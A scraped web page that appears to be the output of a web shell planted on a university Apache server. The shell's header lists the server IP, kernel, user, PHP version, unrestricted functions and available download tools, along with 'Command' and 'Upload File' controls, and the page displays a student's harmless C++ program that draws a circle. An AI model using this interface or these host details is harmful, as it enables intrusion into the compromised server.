Server IP : 172.16.15.8 / Your IP : 3.15.12.95 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/../home/ndlutz/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS 207 Assignment 2 // // Filename: circle.cpp // // Author: Nathan Lutz // // Instructor: Dr. Wang // Due: // Compile: g++ circle.cpp -o circle.out // Run: ./circle.out // Goal: To display a circle of user defined length #include <iostream> #include <iomanip> #include <cmath> using namespace std; int main() { char letter; letter = 'o'; int length,b,x,a; double z,y; cout<<"Please enter how long you want the circle to be."<<endl; cin>>length; y=length/2; z=length/2; for(x=0;x<=length/2;x++) { a=int(y); if (y<1) break; b=int(z); cout<<setw(a)<<" "; cout<<letter; cout<<setw(b)<<" "; cout<<letter; cout<<endl; y=y/1.3; z=z+y; } for(x=length/2;x>=0;x--) { a=int(y); if(y>length/2) break; b=int(z); cout<<setw(a)<<" "; cout<<letter; cout<<setw(b)<<" "; cout<<letter; cout<<endl; y=y*1.3; z=z-(y); } return 0; }